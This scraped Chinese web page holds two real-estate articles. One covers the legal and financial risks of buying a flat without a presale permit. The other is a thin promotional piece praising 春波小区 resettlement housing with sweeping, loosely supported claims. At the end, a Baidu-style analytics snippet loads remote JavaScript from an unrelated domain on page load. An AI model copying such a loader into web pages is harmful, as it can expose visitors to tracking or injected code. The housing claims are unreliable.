没有预售证的房子能买吗

越来越多的人会在生活中买房，这从房地产市场非常热络就可见一斑，房子的价格也在不断的上涨中，它也成为民众最心仪的投资对象之一。很多房子还在建造阶段就已经开售了，房子要售卖，必须要拿齐五证，有些房子就缺了预售证，而其他的证件都是齐全的。那么，没有预售证的房子能买吗?一套房子的价格几十万、几百万，很多人不敢冒险。没有预售证的房子能买吗?最好别买，存在一定风险：1、签订【商品房买卖合同】无法律效应根据《中华人民共和国合同法》可知，“违反法律、行政法规的强制性规定”下签约的合同均是部合法的，所以开发商在没有《房屋预售许可证》的情况下出售房屋属于违法违规行为，从而和同也不具备法律效应;2.谨防开发商“偷梁换柱”购房者购房时无法确认所购买的房屋是否属于预售范围内的房子。特别是期房小区，楼栋、楼层、单元、房号等，更是没有办法确认，所以可能会发生购买的楼栋发生变化，购买到超出规划的楼层等现象;3.开发商“一房多卖”《商品房预售许可证》要求初始登记购房者姓名要和最后的产权证相互对照，进行有效网签备案，以及购房款会进入合法的资金监管账户，可以保证购房者的权益不受欺诈。如果购房者和所购的房屋不能通过合法的程序进行捆绑、保护，资金来源不收监管，某些开发商可能利用这个空子进行一房多卖!4.无法办理按揭手续在没有《商品房预售许可证》的情况下，购房者无法办理按揭手续，不能通过按揭方式支付房款。如果购房者通过某种渠道贷款购买了无预售许可证的商品房，一旦该公司违约，购房者不但没有房子，还要向银行还款，否则还要向银行承担违约责任。5.无法办理房屋产权如没有《商品房预售许可证》，开发商是无法办理竣工验收手续的。没有《商品房预售许可证》就无法办理备案登记，购房者所购商品房就无法在房屋登记部门办理产权证。就算是交房入住了，也依然无法办理产权。6.工程烂尾某些开发商无法取得《商品房预售许可证》的原因可能就是工程进度不达标，在这种情况下，开发商通常会降低价格，吸引购房者并收取一定的认购金或者首付，等拿到预售许可证再与购房者签订房屋买卖合同。但是，一旦工程因为资金断裂等问题而被迫停工，那么购房者就很容易陷入钱房两空的局面。另外也有可能是建筑有违规之处，导致开发商无法取得《商品房预售许可证》，这种情况很难解决，最终导致就断交了房，也无法办理房产证。7.无法取得土地使用权证书即使有合规的建设规划和施工计划，但还是没有取得《商品房预售许可证》，可能是开发商没有办理国有土地使用权出让手续。遇到这种请况，只有当开发商缴纳了全部国有土地使用权出让金，才能获得国有土地使用权证书，若开发商不缴齐出让金，即使你买了房住进去了，也无法办理房产证。8.房子可能随时被拆除如果开发商是在集体用地上建房，却没有办理土地征用手续，也是无法取得《商品房预售许可证》的，这时所购买的房子就是所谓的“小产权房”。小产权房属于违规建筑，如果工程建设手续无法补办，该房则会面临被拆除的风险，而且还不能得到相应补偿。没有预售证的房子能买吗?综上所述，没有预售证的房子建议大家最好不要去买，要是去购买可能会给自己带来各种各样的风险，让自己蒙受损失。当然要是你觉得该房的房地产开发商值得信赖属于大型的房地产开发商，不担心它的预售证不下来，那么你也是可以去购买这套房子。只是提醒大家，要是没有预售证的话会给日后办理房产证带来影响。

春波小区安置房，环境如何，适合居住吗

尽管经济在快速发展，但是我国的贫富差距还是很大。所以尽管高楼大夏随处可见，但是居无定所的人依然很多。针对这一现象，房屋设计师设计出一款比较接地气的房型，所以春波小区安置房迅速涌现，因此解决了很多人的居住问题。1.春波小区安置房春波小区安置房，是伴随着房产的发展迅速扩张起来的，一种属于中小型的房子。因为它房型简单细致，价格公道，而且环境不错，给了中低阶层的人一个不错的选择。所以，如果想要买房的，但是资金不多的，可以考虑一下这种类型的房子。2.环境如何现在很多春波小区安置房的设计都是非常的人性化，即便是单间也是带有独立卫生间和厨房，这样人们就不用担心经常在外面吃，消费高的问题了。而且这种小区一般在楼下或者附近都会有大型的超市或者菜市场，这样就不用担心购物不方便的问题了，同时一般这种房子都是附带装修的，所以根本不需要烦恼找装修公司的问题。因此正在考虑买房的朋友们，真的不需要烦恼，因为环境真的很好很方便。3.是否适合居住春波小区安置房一般都设有垃圾回收，垃圾分类，这样既环保也能促进社会发展。而且这种类型的房子有很多户型的选择，交通也方便。一般都会建在地铁站，公交站附近。尽管是单身青年也可以选择居住在单间类型的春波小区安置房，这样生活也不但自在也方便，而且房租价格也不高。这样也避免了需要找合租伙伴的事情了，而且现在在这个社会找合租伙伴也不是一件容易的事情，需要考虑非常多的问题，这样才能放心住。所以，春波小区安置房，环境如何，适合居住吗？正在为房子的问题烦恼的人，现在应该知道怎么抉择了吧。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();